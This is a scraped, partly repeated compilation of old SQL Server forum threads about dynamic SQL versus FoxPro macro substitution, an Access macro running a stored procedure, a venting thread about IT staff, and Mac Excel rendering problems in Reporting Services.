> the result of poor design or laziness.
> Dynamic SQL does have certain "legitimate" uses for DBA type tasks, and
> for those we have the EXEC and sp_executesql statements.
> --
> David Portas
> SQL Server MVP
> --
>
var ='some_statement'
var && here will be 'some_statement'
&var && here will be some_statement
In SQL Server if we have :
declare @.var varchar(8000)
set @.var='some_statement'
In the program
@.var --here will be 'some_statement'
But if we want to use the variable @.var the same way as in the second
variant what we should do ?Can you give an example of 'some_statement'?
If that's a T-SQL statement lookup EXECUTE and sp_executesql in Books Online
.
However, we can provide a more appropriate solution if you share some more
information. You can start by explaining what exactly you are trying to do.
ML|||Why do you want to use dynamic code? When I worked on VFP our
development standards only permitted macro substitution in very
exceptional cases - and rightly so. Dynamic code is hard to test, debug
and maintain and in my experience its use in production code is usually
the result of poor design or laziness.
Dynamic SQL does have certain "legitimate" uses for DBA type tasks, and
for those we have the EXEC and sp_executesql statements.
David Portas
SQL Server MVP
--|||Thank you.
"ML" wrote:
> Can you give an example of 'some_statement'?
> If that's a T-SQL statement lookup EXECUTE and sp_executesql in Books Onli
ne.
> However, we can provide a more appropriate solution if you share some more
> information. You can start by explaining what exactly you are trying to do
.
>
> ML|||Thank you.
"David Portas" wrote:
> Why do you want to use dynamic code? When I worked on VFP our
> development standards only permitted macro substitution in very
> exceptional cases - and rightly so. Dynamic code is hard to test, debug
> and maintain and in my experience its use in production code is usually
> the result of poor design or laziness.
> Dynamic SQL does have certain "legitimate" uses for DBA type tasks, and
> for those we have the EXEC and sp_executesql statements.
> --
> David Portas
> SQL Server MVP
> --
>
Macro
Has anyone ever tried to run a stored procedure through a macro before?? And If so do you get a message that says that the stored procedure exectuted successfully but a macro Halt macro message that says "Action Failed"?? Now the stored procedure executes just fine its just that the macro itself is having some trouble. Can anyone help me?? pleaseFrom where you're trying to execute, I've never come across in SQL server.|||Probably way off here but is it possible a return value that is expected but not given?|||This is the stored procedure I am using
CREATE PROCEDURE [InsertTerms]
AS
INSERT INTO [GamingCommissiondb].[dbo].[TERMINATION] ( [TM #],
[FirstName],
[LastName],
[SocialSecurityNumber],
[DateHired],
[Status],
[Title],
[DepartmentName])
SELECT a.TM#, a.FirstName, a.LASTNAME, a.SSN#, a.HIREDATE, a.STATUS, a.JOBTITLE, a.DEPT#
FROM EmployeeGamingLicense AS a
WHERE a.STATUS = 'TERMINATED'
IF @.@.Error <> '0'
RETURN
GO
this is the macro that executes it|||Why not just use a pass thu?|||IF @.@.Error <> '0'
RETURN
GO
In your case, 0 is always returned. Does the data get inserted? Does the macro always indicate "Action Failed"?|||Yes the data does get inserted, and yes the macro is always indicates failed action|||Access xp has no problems with this, access 2000 apparently has a problem|||Do the sprocs get listed in your macro drop down list?
I betcha it's a connectivity thing...
CREATE PROCEDURE [InsertTerms]
AS
INSERT INTO [GamingCommissiondb].[dbo].[TERMINATION] ( [TM #],
[FirstName],
[LastName],
[SocialSecurityNumber],
[DateHired],
[Status],
[Title],
[DepartmentName])
SELECT a.TM#, a.FirstName, a.LASTNAME, a.SSN#, a.HIREDATE, a.STATUS, a.JOBTITLE, a.DEPT#
FROM EmployeeGamingLicense AS a
WHERE a.STATUS = 'TERMINATED'
IF @.@.Error <> '0'
RETURN
GO
this is the macro that executes it|||Why not just use a pass thu?|||IF @.@.Error <> '0'
RETURN
GO
In your case, 0 is always returned. Does the data get inserted? Does the macro always indicate "Action Failed"?|||Yes the data does get inserted, and yes the macro is always indicates failed action|||Access xp has no problems with this, access 2000 apparently has a problem|||Do the sprocs get listed in your macro drop down list?
I betcha it's a connectivity thing...
Macro
Our IT department says to me all a stored procedure is, is a Macro. This is what Our network tech says to me. There are days I just want slap these people. This is the same one that made the Flat File comment, I think databases are very important and can be very complex I get annoyed when they IT people make them seems as if they are of no importance at all.
Venting again sorryHey Pat, it's your turf! Tell'em!|||An operating system is really just a big assembler macro to support the important stuff that users really need (applications). When you are dealing with "experts" that make those kind of comments and expect you to take them seriously, it is a sure sign of trouble.
While you can use a stored procedure much like a macro, you can use a C++ compiler the same way. That doesn't really say squat about the abilities of either the stored procedure or the compiler, just about how they are being used at the moment.
You just need to give the net-weenies the credit they are due. If they earn your respect, that's a good thing. If not, adapt and move on.
-PatP|||Thank you Pat, your absolutely right. Its not even worth the stress, I think what annoyed me the most is how he made it seem as though it was a demeaning and minuscucle task. These people make comments like this on a daily basis, they think DBA's are a waste of time and money. Whatever|||I get the feeling of deja vu all over again. We've had this discussion before, haven't we?
The hard-core net-weenie likes to think that they are masters of all that they survey. They like it even better when they can convince others that they are masters of all that they survey. It takes a lot to bring them back to the real world, and some of them won't survive the trip.
They've lost sight of the fact that we geeks simply make it possible for the average joe users to get their jobs done. True that a real geek can make it possible for a thousand users to do the work of 10,000 users without the geek, but they are still just a geek when you get right down to it.
A good geek that knows their stuff, and works hard to improve life for everyone around them is incredibly valuable. An average geek that does a respectable job is still quite valuable. A PITA is a PITA, regardless of their GQ (Geek Quotient).
Keep in mind that a geek almost never provides a deliverable of any kind to the client, so by themselves a geek is worth nothing at all to the company. The only real value that a geek has is what they can do to make life easier/faster/more productive for the average joes. A geek that stands in the way of the average joe (unless they are enforcing legal or company policy limits), is probably a liability instead of an asset.
-PatP|||thank you Pat that valuable information for someone like me who is new to the World of the "Geeks". Well fine I'll just adapt and move on. Even though I'm just a Mini Geek and soon to be a Major Geek, I'm Dam Proud of it. Of course I'm one of those females who pushes the cute guys away, in order to get a better view of Programming Geeks.
LOL :)|||What Dam are you proud of? Or, what dam describes the level of pride you feel.
I'm a confused geek.|||Now Derrick! I suspect the lady meant the other flavor of damn, and not only that, but you darn well know it! ;)
-PatP|||Oh why do I even bother...I'm dam proud to be a GEEK...lol
Oh Nevermind|||Sort of like the first time I heard my dentist talking about a "rubber dam"... Heck, I always KNEW those things were dams!
-PatP
Venting again sorryHey Pat, it's your turf! Tell'em!|||An operating system is really just a big assembler macro to support the important stuff that users really need (applications). When you are dealing with "experts" that make those kind of comments and expect you to take them seriously, it is a sure sign of trouble.
While you can use a stored procedure much like a macro, you can use a C++ compiler the same way. That doesn't really say squat about the abilities of either the stored procedure or the compiler, just about how they are being used at the moment.
You just need to give the net-weenies the credit they are due. If they earn your respect, that's a good thing. If not, adapt and move on.
-PatP|||Thank you Pat, your absolutely right. Its not even worth the stress, I think what annoyed me the most is how he made it seem as though it was a demeaning and minuscucle task. These people make comments like this on a daily basis, they think DBA's are a waste of time and money. Whatever|||I get the feeling of deja vu all over again. We've had this discussion before, haven't we?
The hard-core net-weenie likes to think that they are masters of all that they survey. They like it even better when they can convince others that they are masters of all that they survey. It takes a lot to bring them back to the real world, and some of them won't survive the trip.
They've lost sight of the fact that we geeks simply make it possible for the average joe users to get their jobs done. True that a real geek can make it possible for a thousand users to do the work of 10,000 users without the geek, but they are still just a geek when you get right down to it.
A good geek that knows their stuff, and works hard to improve life for everyone around them is incredibly valuable. An average geek that does a respectable job is still quite valuable. A PITA is a PITA, regardless of their GQ (Geek Quotient).
Keep in mind that a geek almost never provides a deliverable of any kind to the client, so by themselves a geek is worth nothing at all to the company. The only real value that a geek has is what they can do to make life easier/faster/more productive for the average joes. A geek that stands in the way of the average joe (unless they are enforcing legal or company policy limits), is probably a liability instead of an asset.
-PatP|||thank you Pat that valuable information for someone like me who is new to the World of the "Geeks". Well fine I'll just adapt and move on. Even though I'm just a Mini Geek and soon to be a Major Geek, I'm Dam Proud of it. Of course I'm one of those females who pushes the cute guys away, in order to get a better view of Programming Geeks.
LOL :)|||What Dam are you proud of? Or, what dam describes the level of pride you feel.
I'm a confused geek.|||Now Derrick! I suspect the lady meant the other flavor of damn, and not only that, but you darn well know it! ;)
-PatP|||Oh why do I even bother...I'm dam proud to be a GEEK...lol
Oh Nevermind|||Sort of like the first time I heard my dentist talking about a "rubber dam"... Heck, I always KNEW those things were dams!
-PatP
Macintosh Excel v.x Rendering
We have built a new front end to the report server to run reports. When
making calls to the RS Web Service, is there anything special that needs to
be done for Excel (xls) rendering? We have a few clients utlizing Apple MAC
OS X with Office v.x. We thought that SP1 would take care of their ability
to open the xls files as with prior versions of PC xls before Office XP.
After further testing, the MAC version still does not open the excel file
correctly. It only has MIME type values in the file. What are the options
to ensure MAC Excel opens the same as PC Excel with SP1? We currently have
them export to CSV and then open that in excel with the text to columns
re-formatting. Any help you could provide would be greatly appreciated.Have you tried to export the file using a PC, save it to disk and then open
it on the Mac? I wouldn't be surprised if there were some glitches.
--
Brian Welcker
Group Program Manager
Microsoft SQL Server Reporting Services
This posting is provided "AS IS" with no warranties, and confers no rights.
"Lance" <Lance@.discussions.microsoft.com> wrote in message
news:061952A6-F39C-49F3-AA13-F568C4588772@.microsoft.com...
> We have built a new front end to the report server to run reports. When
> making calls to the RS Web Service, is there anything special that needs
> to
> be done for Excel (xls) rendering? We have a few clients utlizing Apple
> MAC
> OS X with Office v.x. We thought that SP1 would take care of their
> ability
> to open the xls files as with prior versions of PC xls before Office XP.
> After further testing, the MAC version still does not open the excel file
> correctly. It only has MIME type values in the file. What are the
> options
> to ensure MAC Excel opens the same as PC Excel with SP1? We currently
> have
> them export to CSV and then open that in excel with the text to columns
> re-formatting. Any help you could provide would be greatly appreciated.|||Yes...It works fine if I save down to Excel 95-2000 workbook and then send
it. The mac opens fine, but that is not a viable solution to our problem as
the mac clients will need to run reports on demand. Do you by chance know
if there is a solution in the works to ensure MAC Excel versions export
without incidence as the PC version?
Thanks...
"Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in message
news:Ohc$PCnfEHA.2764@.TK2MSFTNGP11.phx.gbl...
> Have you tried to export the file using a PC, save it to disk and then
open
> it on the Mac? I wouldn't be surprised if there were some glitches.
> --
> Brian Welcker
> Group Program Manager
> Microsoft SQL Server Reporting Services
> This posting is provided "AS IS" with no warranties, and confers no
rights.
> "Lance" <Lance@.discussions.microsoft.com> wrote in message
> news:061952A6-F39C-49F3-AA13-F568C4588772@.microsoft.com...
> > We have built a new front end to the report server to run reports. When
> > making calls to the RS Web Service, is there anything special that needs
> > to
> > be done for Excel (xls) rendering? We have a few clients utlizing Apple
> > MAC
> > OS X with Office v.x. We thought that SP1 would take care of their
> > ability
> > to open the xls files as with prior versions of PC xls before Office XP.
> > After further testing, the MAC version still does not open the excel
file
> > correctly. It only has MIME type values in the file. What are the
> > options
> > to ensure MAC Excel opens the same as PC Excel with SP1? We currently
> > have
> > them export to CSV and then open that in excel with the text to columns
> > re-formatting. Any help you could provide would be greatly appreciated.
>|||So what happens if you open the workbook directly in Excel on the mac (don't
open it in PC Excel)?
--
Brian Welcker
Group Program Manager
SQL Server Reporting Services
This posting is provided "AS IS" with no warranties, and confers no rights.
"Lance" <ldacy@.fellowshiptech.com> wrote in message
news:ueFapmtfEHA.2848@.TK2MSFTNGP10.phx.gbl...
> Yes...It works fine if I save down to Excel 95-2000 workbook and then send
> it. The mac opens fine, but that is not a viable solution to our problem
> as
> the mac clients will need to run reports on demand. Do you by chance know
> if there is a solution in the works to ensure MAC Excel versions export
> without incidence as the PC version?
> Thanks...
> "Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in message
> news:Ohc$PCnfEHA.2764@.TK2MSFTNGP11.phx.gbl...
>> Have you tried to export the file using a PC, save it to disk and then
> open
>> it on the Mac? I wouldn't be surprised if there were some glitches.
>> --
>> Brian Welcker
>> Group Program Manager
>> Microsoft SQL Server Reporting Services
>> This posting is provided "AS IS" with no warranties, and confers no
> rights.
>> "Lance" <Lance@.discussions.microsoft.com> wrote in message
>> news:061952A6-F39C-49F3-AA13-F568C4588772@.microsoft.com...
>> > We have built a new front end to the report server to run reports.
>> > When
>> > making calls to the RS Web Service, is there anything special that
>> > needs
>> > to
>> > be done for Excel (xls) rendering? We have a few clients utlizing
>> > Apple
>> > MAC
>> > OS X with Office v.x. We thought that SP1 would take care of their
>> > ability
>> > to open the xls files as with prior versions of PC xls before Office
>> > XP.
>> > After further testing, the MAC version still does not open the excel
> file
>> > correctly. It only has MIME type values in the file. What are the
>> > options
>> > to ensure MAC Excel opens the same as PC Excel with SP1? We currently
>> > have
>> > them export to CSV and then open that in excel with the text to columns
>> > re-formatting. Any help you could provide would be greatly
>> > appreciated.
>>
>|||The document is garbage...It looks exactly what happens when someone who has
a lower version of excel than XP.
"Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in message
news:enJe9r8fEHA.536@.TK2MSFTNGP11.phx.gbl...
> So what happens if you open the workbook directly in Excel on the mac
(don't
> open it in PC Excel)?
> --
> Brian Welcker
> Group Program Manager
> SQL Server Reporting Services
> This posting is provided "AS IS" with no warranties, and confers no
rights.
> "Lance" <ldacy@.fellowshiptech.com> wrote in message
> news:ueFapmtfEHA.2848@.TK2MSFTNGP10.phx.gbl...
> > Yes...It works fine if I save down to Excel 95-2000 workbook and then
send
> > it. The mac opens fine, but that is not a viable solution to our
problem
> > as
> > the mac clients will need to run reports on demand. Do you by chance
know
> > if there is a solution in the works to ensure MAC Excel versions export
> > without incidence as the PC version?
> >
> > Thanks...
> >
> > "Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in message
> > news:Ohc$PCnfEHA.2764@.TK2MSFTNGP11.phx.gbl...
> >> Have you tried to export the file using a PC, save it to disk and then
> > open
> >> it on the Mac? I wouldn't be surprised if there were some glitches.
> >>
> >> --
> >> Brian Welcker
> >> Group Program Manager
> >> Microsoft SQL Server Reporting Services
> >>
> >> This posting is provided "AS IS" with no warranties, and confers no
> > rights.
> >>
> >> "Lance" <Lance@.discussions.microsoft.com> wrote in message
> >> news:061952A6-F39C-49F3-AA13-F568C4588772@.microsoft.com...
> >> > We have built a new front end to the report server to run reports.
> >> > When
> >> > making calls to the RS Web Service, is there anything special that
> >> > needs
> >> > to
> >> > be done for Excel (xls) rendering? We have a few clients utlizing
> >> > Apple
> >> > MAC
> >> > OS X with Office v.x. We thought that SP1 would take care of their
> >> > ability
> >> > to open the xls files as with prior versions of PC xls before Office
> >> > XP.
> >> > After further testing, the MAC version still does not open the excel
> > file
> >> > correctly. It only has MIME type values in the file. What are the
> >> > options
> >> > to ensure MAC Excel opens the same as PC Excel with SP1? We
currently
> >> > have
> >> > them export to CSV and then open that in excel with the text to
columns
> >> > re-formatting. Any help you could provide would be greatly
> >> > appreciated.
> >>
> >>
> >
> >
>|||In SP1, we support Excel 97 and 2000. You should not get a MIME document
after applying the service pack.
--
Brian Welcker
Group Program Manager
Microsoft SQL Server Reporting Services
This posting is provided "AS IS" with no warranties, and confers no rights.
"Lance" <ldacy@.fellowshiptech.com> wrote in message
news:Og9BSRGgEHA.3964@.TK2MSFTNGP12.phx.gbl...
> The document is garbage...It looks exactly what happens when someone who
> has
> a lower version of excel than XP.
>
> "Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in message
> news:enJe9r8fEHA.536@.TK2MSFTNGP11.phx.gbl...
>> So what happens if you open the workbook directly in Excel on the mac
> (don't
>> open it in PC Excel)?
>> --
>> Brian Welcker
>> Group Program Manager
>> SQL Server Reporting Services
>> This posting is provided "AS IS" with no warranties, and confers no
> rights.
>> "Lance" <ldacy@.fellowshiptech.com> wrote in message
>> news:ueFapmtfEHA.2848@.TK2MSFTNGP10.phx.gbl...
>> > Yes...It works fine if I save down to Excel 95-2000 workbook and then
> send
>> > it. The mac opens fine, but that is not a viable solution to our
> problem
>> > as
>> > the mac clients will need to run reports on demand. Do you by chance
> know
>> > if there is a solution in the works to ensure MAC Excel versions export
>> > without incidence as the PC version?
>> >
>> > Thanks...
>> >
>> > "Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in message
>> > news:Ohc$PCnfEHA.2764@.TK2MSFTNGP11.phx.gbl...
>> >> Have you tried to export the file using a PC, save it to disk and then
>> > open
>> >> it on the Mac? I wouldn't be surprised if there were some glitches.
>> >>
>> >> --
>> >> Brian Welcker
>> >> Group Program Manager
>> >> Microsoft SQL Server Reporting Services
>> >>
>> >> This posting is provided "AS IS" with no warranties, and confers no
>> > rights.
>> >>
>> >> "Lance" <Lance@.discussions.microsoft.com> wrote in message
>> >> news:061952A6-F39C-49F3-AA13-F568C4588772@.microsoft.com...
>> >> > We have built a new front end to the report server to run reports.
>> >> > When
>> >> > making calls to the RS Web Service, is there anything special that
>> >> > needs
>> >> > to
>> >> > be done for Excel (xls) rendering? We have a few clients utlizing
>> >> > Apple
>> >> > MAC
>> >> > OS X with Office v.x. We thought that SP1 would take care of their
>> >> > ability
>> >> > to open the xls files as with prior versions of PC xls before Office
>> >> > XP.
>> >> > After further testing, the MAC version still does not open the excel
>> > file
>> >> > correctly. It only has MIME type values in the file. What are the
>> >> > options
>> >> > to ensure MAC Excel opens the same as PC Excel with SP1? We
> currently
>> >> > have
>> >> > them export to CSV and then open that in excel with the text to
> columns
>> >> > re-formatting. Any help you could provide would be greatly
>> >> > appreciated.
>> >>
>> >>
>> >
>> >
>>
>|||I understand that, but the MAC version still gets this MIME document...The
PC version is fine.
"Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in message
news:%239umLe7gEHA.3548@.TK2MSFTNGP09.phx.gbl...
> In SP1, we support Excel 97 and 2000. You should not get a MIME document
> after applying the service pack.
> --
> Brian Welcker
> Group Program Manager
> Microsoft SQL Server Reporting Services
> This posting is provided "AS IS" with no warranties, and confers no
rights.
> "Lance" <ldacy@.fellowshiptech.com> wrote in message
> news:Og9BSRGgEHA.3964@.TK2MSFTNGP12.phx.gbl...
> > The document is garbage...It looks exactly what happens when someone who
> > has
> > a lower version of excel than XP.
> >
> >
> > "Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in message
> > news:enJe9r8fEHA.536@.TK2MSFTNGP11.phx.gbl...
> >> So what happens if you open the workbook directly in Excel on the mac
> > (don't
> >> open it in PC Excel)?
> >>
> >> --
> >> Brian Welcker
> >> Group Program Manager
> >> SQL Server Reporting Services
> >>
> >> This posting is provided "AS IS" with no warranties, and confers no
> > rights.
> >>
> >> "Lance" <ldacy@.fellowshiptech.com> wrote in message
> >> news:ueFapmtfEHA.2848@.TK2MSFTNGP10.phx.gbl...
> >> > Yes...It works fine if I save down to Excel 95-2000 workbook and then
> > send
> >> > it. The mac opens fine, but that is not a viable solution to our
> > problem
> >> > as
> >> > the mac clients will need to run reports on demand. Do you by chance
> > know
> >> > if there is a solution in the works to ensure MAC Excel versions
export
> >> > without incidence as the PC version?
> >> >
> >> > Thanks...
> >> >
> >> > "Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in
message
> >> > news:Ohc$PCnfEHA.2764@.TK2MSFTNGP11.phx.gbl...
> >> >> Have you tried to export the file using a PC, save it to disk and
then
> >> > open
> >> >> it on the Mac? I wouldn't be surprised if there were some glitches.
> >> >>
> >> >> --
> >> >> Brian Welcker
> >> >> Group Program Manager
> >> >> Microsoft SQL Server Reporting Services
> >> >>
> >> >> This posting is provided "AS IS" with no warranties, and confers no
> >> > rights.
> >> >>
> >> >> "Lance" <Lance@.discussions.microsoft.com> wrote in message
> >> >> news:061952A6-F39C-49F3-AA13-F568C4588772@.microsoft.com...
> >> >> > We have built a new front end to the report server to run reports.
> >> >> > When
> >> >> > making calls to the RS Web Service, is there anything special that
> >> >> > needs
> >> >> > to
> >> >> > be done for Excel (xls) rendering? We have a few clients utlizing
> >> >> > Apple
> >> >> > MAC
> >> >> > OS X with Office v.x. We thought that SP1 would take care of
their
> >> >> > ability
> >> >> > to open the xls files as with prior versions of PC xls before
Office
> >> >> > XP.
> >> >> > After further testing, the MAC version still does not open the
excel
> >> > file
> >> >> > correctly. It only has MIME type values in the file. What are
the
> >> >> > options
> >> >> > to ensure MAC Excel opens the same as PC Excel with SP1? We
> > currently
> >> >> > have
> >> >> > them export to CSV and then open that in excel with the text to
> > columns
> >> >> > re-formatting. Any help you could provide would be greatly
> >> >> > appreciated.
> >> >>
> >> >>
> >> >
> >> >
> >>
> >>
> >
> >
>|||Any suggestions or comments?
"Lance" <ldacy@.fellowshiptech.com> wrote in message
news:%23K488YfhEHA.3928@.TK2MSFTNGP11.phx.gbl...
> I understand that, but the MAC version still gets this MIME document...The
> PC version is fine.
>
> "Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in message
> news:%239umLe7gEHA.3548@.TK2MSFTNGP09.phx.gbl...
> > In SP1, we support Excel 97 and 2000. You should not get a MIME document
> > after applying the service pack.
> >
> > --
> > Brian Welcker
> > Group Program Manager
> > Microsoft SQL Server Reporting Services
> >
> > This posting is provided "AS IS" with no warranties, and confers no
> rights.
> >
> > "Lance" <ldacy@.fellowshiptech.com> wrote in message
> > news:Og9BSRGgEHA.3964@.TK2MSFTNGP12.phx.gbl...
> > > The document is garbage...It looks exactly what happens when someone
who
> > > has
> > > a lower version of excel than XP.
> > >
> > >
> > > "Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in
message
> > > news:enJe9r8fEHA.536@.TK2MSFTNGP11.phx.gbl...
> > >> So what happens if you open the workbook directly in Excel on the mac
> > > (don't
> > >> open it in PC Excel)?
> > >>
> > >> --
> > >> Brian Welcker
> > >> Group Program Manager
> > >> SQL Server Reporting Services
> > >>
> > >> This posting is provided "AS IS" with no warranties, and confers no
> > > rights.
> > >>
> > >> "Lance" <ldacy@.fellowshiptech.com> wrote in message
> > >> news:ueFapmtfEHA.2848@.TK2MSFTNGP10.phx.gbl...
> > >> > Yes...It works fine if I save down to Excel 95-2000 workbook and
then
> > > send
> > >> > it. The mac opens fine, but that is not a viable solution to our
> > > problem
> > >> > as
> > >> > the mac clients will need to run reports on demand. Do you by
chance
> > > know
> > >> > if there is a solution in the works to ensure MAC Excel versions
> export
> > >> > without incidence as the PC version?
> > >> >
> > >> > Thanks...
> > >> >
> > >> > "Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in
> message
> > >> > news:Ohc$PCnfEHA.2764@.TK2MSFTNGP11.phx.gbl...
> > >> >> Have you tried to export the file using a PC, save it to disk and
> then
> > >> > open
> > >> >> it on the Mac? I wouldn't be surprised if there were some
glitches.
> > >> >>
> > >> >> --
> > >> >> Brian Welcker
> > >> >> Group Program Manager
> > >> >> Microsoft SQL Server Reporting Services
> > >> >>
> > >> >> This posting is provided "AS IS" with no warranties, and confers
no
> > >> > rights.
> > >> >>
> > >> >> "Lance" <Lance@.discussions.microsoft.com> wrote in message
> > >> >> news:061952A6-F39C-49F3-AA13-F568C4588772@.microsoft.com...
> > >> >> > We have built a new front end to the report server to run
reports.
> > >> >> > When
> > >> >> > making calls to the RS Web Service, is there anything special
that
> > >> >> > needs
> > >> >> > to
> > >> >> > be done for Excel (xls) rendering? We have a few clients
utlizing
> > >> >> > Apple
> > >> >> > MAC
> > >> >> > OS X with Office v.x. We thought that SP1 would take care of
> their
> > >> >> > ability
> > >> >> > to open the xls files as with prior versions of PC xls before
> Office
> > >> >> > XP.
> > >> >> > After further testing, the MAC version still does not open the
> excel
> > >> > file
> > >> >> > correctly. It only has MIME type values in the file. What are
> the
> > >> >> > options
> > >> >> > to ensure MAC Excel opens the same as PC Excel with SP1? We
> > > currently
> > >> >> > have
> > >> >> > them export to CSV and then open that in excel with the text to
> > > columns
> > >> >> > re-formatting. Any help you could provide would be greatly
> > >> >> > appreciated.
> > >> >>
> > >> >>
> > >> >
> > >> >
> > >>
> > >>
> > >
> > >
> >
> >
>|||We aren't generating MIME any more. That code is gone. Something else must
be wrong with the file type. We will take a look but it is not a highly
demanded scenario.
--
Brian Welcker
Group Program Manager
SQL Server Reporting Services
This posting is provided "AS IS" with no warranties, and confers no rights.
"Lance" <ldacy@.fellowshiptech.com> wrote in message
news:%23FHK6dSiEHA.2952@.TK2MSFTNGP09.phx.gbl...
> Any suggestions or comments?
>
> "Lance" <ldacy@.fellowshiptech.com> wrote in message
> news:%23K488YfhEHA.3928@.TK2MSFTNGP11.phx.gbl...
>> I understand that, but the MAC version still gets this MIME
>> document...The
>> PC version is fine.
>>
>> "Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in message
>> news:%239umLe7gEHA.3548@.TK2MSFTNGP09.phx.gbl...
>> > In SP1, we support Excel 97 and 2000. You should not get a MIME
>> > document
>> > after applying the service pack.
>> >
>> > --
>> > Brian Welcker
>> > Group Program Manager
>> > Microsoft SQL Server Reporting Services
>> >
>> > This posting is provided "AS IS" with no warranties, and confers no
>> rights.
>> >
>> > "Lance" <ldacy@.fellowshiptech.com> wrote in message
>> > news:Og9BSRGgEHA.3964@.TK2MSFTNGP12.phx.gbl...
>> > > The document is garbage...It looks exactly what happens when someone
> who
>> > > has
>> > > a lower version of excel than XP.
>> > >
>> > >
>> > > "Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in
> message
>> > > news:enJe9r8fEHA.536@.TK2MSFTNGP11.phx.gbl...
>> > >> So what happens if you open the workbook directly in Excel on the
>> > >> mac
>> > > (don't
>> > >> open it in PC Excel)?
>> > >>
>> > >> --
>> > >> Brian Welcker
>> > >> Group Program Manager
>> > >> SQL Server Reporting Services
>> > >>
>> > >> This posting is provided "AS IS" with no warranties, and confers no
>> > > rights.
>> > >>
>> > >> "Lance" <ldacy@.fellowshiptech.com> wrote in message
>> > >> news:ueFapmtfEHA.2848@.TK2MSFTNGP10.phx.gbl...
>> > >> > Yes...It works fine if I save down to Excel 95-2000 workbook and
> then
>> > > send
>> > >> > it. The mac opens fine, but that is not a viable solution to our
>> > > problem
>> > >> > as
>> > >> > the mac clients will need to run reports on demand. Do you by
> chance
>> > > know
>> > >> > if there is a solution in the works to ensure MAC Excel versions
>> export
>> > >> > without incidence as the PC version?
>> > >> >
>> > >> > Thanks...
>> > >> >
>> > >> > "Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in
>> message
>> > >> > news:Ohc$PCnfEHA.2764@.TK2MSFTNGP11.phx.gbl...
>> > >> >> Have you tried to export the file using a PC, save it to disk and
>> then
>> > >> > open
>> > >> >> it on the Mac? I wouldn't be surprised if there were some
> glitches.
>> > >> >>
>> > >> >> --
>> > >> >> Brian Welcker
>> > >> >> Group Program Manager
>> > >> >> Microsoft SQL Server Reporting Services
>> > >> >>
>> > >> >> This posting is provided "AS IS" with no warranties, and confers
> no
>> > >> > rights.
>> > >> >>
>> > >> >> "Lance" <Lance@.discussions.microsoft.com> wrote in message
>> > >> >> news:061952A6-F39C-49F3-AA13-F568C4588772@.microsoft.com...
>> > >> >> > We have built a new front end to the report server to run
> reports.
>> > >> >> > When
>> > >> >> > making calls to the RS Web Service, is there anything special
> that
>> > >> >> > needs
>> > >> >> > to
>> > >> >> > be done for Excel (xls) rendering? We have a few clients
> utlizing
>> > >> >> > Apple
>> > >> >> > MAC
>> > >> >> > OS X with Office v.x. We thought that SP1 would take care of
>> their
>> > >> >> > ability
>> > >> >> > to open the xls files as with prior versions of PC xls before
>> Office
>> > >> >> > XP.
>> > >> >> > After further testing, the MAC version still does not open the
>> excel
>> > >> > file
>> > >> >> > correctly. It only has MIME type values in the file. What are
>> the
>> > >> >> > options
>> > >> >> > to ensure MAC Excel opens the same as PC Excel with SP1? We
>> > > currently
>> > >> >> > have
>> > >> >> > them export to CSV and then open that in excel with the text to
>> > > columns
>> > >> >> > re-formatting. Any help you could provide would be greatly
>> > >> >> > appreciated.
>> > >> >>
>> > >> >>
>> > >> >
>> > >> >
>> > >>
>> > >>
>> > >
>> > >
>> >
>> >
>>
>
making calls to the RS Web Service, is there anything special that needs to
be done for Excel (xls) rendering? We have a few clients utlizing Apple MAC
OS X with Office v.x. We thought that SP1 would take care of their ability
to open the xls files as with prior versions of PC xls before Office XP.
After further testing, the MAC version still does not open the excel file
correctly. It only has MIME type values in the file. What are the options
to ensure MAC Excel opens the same as PC Excel with SP1? We currently have
them export to CSV and then open that in excel with the text to columns
re-formatting. Any help you could provide would be greatly appreciated.Have you tried to export the file using a PC, save it to disk and then open
it on the Mac? I wouldn't be surprised if there were some glitches.
--
Brian Welcker
Group Program Manager
Microsoft SQL Server Reporting Services
This posting is provided "AS IS" with no warranties, and confers no rights.
"Lance" <Lance@.discussions.microsoft.com> wrote in message
news:061952A6-F39C-49F3-AA13-F568C4588772@.microsoft.com...
> We have built a new front end to the report server to run reports. When
> making calls to the RS Web Service, is there anything special that needs
> to
> be done for Excel (xls) rendering? We have a few clients utlizing Apple
> MAC
> OS X with Office v.x. We thought that SP1 would take care of their
> ability
> to open the xls files as with prior versions of PC xls before Office XP.
> After further testing, the MAC version still does not open the excel file
> correctly. It only has MIME type values in the file. What are the
> options
> to ensure MAC Excel opens the same as PC Excel with SP1? We currently
> have
> them export to CSV and then open that in excel with the text to columns
> re-formatting. Any help you could provide would be greatly appreciated.|||Yes...It works fine if I save down to Excel 95-2000 workbook and then send
it. The mac opens fine, but that is not a viable solution to our problem as
the mac clients will need to run reports on demand. Do you by chance know
if there is a solution in the works to ensure MAC Excel versions export
without incidence as the PC version?
Thanks...
"Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in message
news:Ohc$PCnfEHA.2764@.TK2MSFTNGP11.phx.gbl...
> Have you tried to export the file using a PC, save it to disk and then
open
> it on the Mac? I wouldn't be surprised if there were some glitches.
> --
> Brian Welcker
> Group Program Manager
> Microsoft SQL Server Reporting Services
> This posting is provided "AS IS" with no warranties, and confers no
rights.
> "Lance" <Lance@.discussions.microsoft.com> wrote in message
> news:061952A6-F39C-49F3-AA13-F568C4588772@.microsoft.com...
> > We have built a new front end to the report server to run reports. When
> > making calls to the RS Web Service, is there anything special that needs
> > to
> > be done for Excel (xls) rendering? We have a few clients utlizing Apple
> > MAC
> > OS X with Office v.x. We thought that SP1 would take care of their
> > ability
> > to open the xls files as with prior versions of PC xls before Office XP.
> > After further testing, the MAC version still does not open the excel
file
